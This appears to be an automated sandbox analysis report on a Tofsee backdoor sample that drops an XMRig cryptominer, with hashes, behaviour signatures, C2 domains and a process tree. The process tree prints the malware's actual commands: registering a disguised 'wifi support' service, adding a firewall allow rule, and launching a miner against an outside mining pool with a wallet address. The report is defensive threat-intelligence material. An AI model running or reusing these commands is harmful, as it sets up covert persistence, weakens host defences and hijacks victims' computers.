Analysis

  • max time kernel
    148s
  • max time network
    161s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14-10-2023 02:12

General

  • Target

    file.exe

  • Size

    298KB

  • MD5

    5182e126b6f798ddb20ac56c5ab4660d

  • SHA1

    467a4e7708679aac87c2a4e98b9c69eba12dc21b

  • SHA256

    d7b88f392653a4569f1f6a792d27ed75dcb22921915ff2cff23519d6eb8c673a

  • SHA512

    37b25dc5c340817881922fc7b9fa4a06e1954cae86afee74d174c905e7be366edfe9329888bbcd46d3c8bae1d295c7dd13e0b78bc408d341b5d5d42c7301d4b8

  • SSDEEP

    3072:w+uHkj3i/Gur0Z6sZgrKBRTM+4FvH9vxrFUkcVTcgpWvKV/Fy2L3:4Hci/GuoZ6pmBSJrJpUpV4gEY4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1252
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fjispbxy\
      2⤵
        PID:1036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\clrcaph.exe" C:\Windows\SysWOW64\fjispbxy\
        2⤵
          PID:2700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fjispbxy binPath= "C:\Windows\SysWOW64\fjispbxy\clrcaph.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fjispbxy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2492
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fjispbxy
          2⤵
          • Launches sc.exe
          PID:2748
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2520
      • C:\Windows\SysWOW64\fjispbxy\clrcaph.exe
        C:\Windows\SysWOW64\fjispbxy\clrcaph.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2524
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2488
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1280

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\clrcaph.exe

        Filesize

        12.2MB

        MD5

        be68395b6451c9731d84f7fe4ad244d1

        SHA1

        162f649b40738832448b96f4377f6d97524fa6f8

        SHA256

        f4a8748dd50af01b367c94c72cbeac6e781b63055fedc9a92b9ea38d6583b54c

        SHA512

        67ad13720cb120d61c948ebbf9d317676f396f37667839f39b135a77d1700ee58f210f9a16c0f140e7073ea27918de1b5448d5a659556cb90cd5ab979da16857

      • C:\Windows\SysWOW64\fjispbxy\clrcaph.exe

        Filesize

        12.2MB

        MD5

        be68395b6451c9731d84f7fe4ad244d1

        SHA1

        162f649b40738832448b96f4377f6d97524fa6f8

        SHA256

        f4a8748dd50af01b367c94c72cbeac6e781b63055fedc9a92b9ea38d6583b54c

        SHA512

        67ad13720cb120d61c948ebbf9d317676f396f37667839f39b135a77d1700ee58f210f9a16c0f140e7073ea27918de1b5448d5a659556cb90cd5ab979da16857

      • memory/1252-1-0x0000000002460000-0x0000000002560000-memory.dmp

        Filesize

        1024KB

      • memory/1252-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1252-4-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB

      • memory/1252-6-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB

      • memory/1252-7-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1280-78-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-77-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-76-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-75-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-74-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-73-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-72-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-64-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1280-63-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/2488-40-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-48-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-28-0x0000000000080000-0x0000000000086000-memory.dmp

        Filesize

        24KB

      • memory/2488-31-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-34-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-35-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-36-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-37-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-39-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-38-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-24-0x0000000001860000-0x0000000001A6F000-memory.dmp

        Filesize

        2.1MB

      • memory/2488-42-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-41-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-43-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-45-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-44-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-46-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-27-0x0000000001860000-0x0000000001A6F000-memory.dmp

        Filesize

        2.1MB

      • memory/2488-47-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-49-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-50-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/2488-51-0x0000000000300000-0x0000000000305000-memory.dmp

        Filesize

        20KB

      • memory/2488-54-0x0000000000300000-0x0000000000305000-memory.dmp

        Filesize

        20KB

      • memory/2488-55-0x00000000054B0000-0x00000000058BB000-memory.dmp

        Filesize

        4.0MB

      • memory/2488-58-0x00000000054B0000-0x00000000058BB000-memory.dmp

        Filesize

        4.0MB

      • memory/2488-59-0x0000000000570000-0x0000000000577000-memory.dmp

        Filesize

        28KB

      • memory/2488-23-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2488-11-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2488-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2488-21-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2488-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2488-19-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2488-15-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2524-10-0x00000000023F0000-0x00000000024F0000-memory.dmp

        Filesize

        1024KB

      • memory/2524-12-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB

      • memory/2524-16-0x0000000000400000-0x0000000002290000-memory.dmp

        Filesize

        30.6MB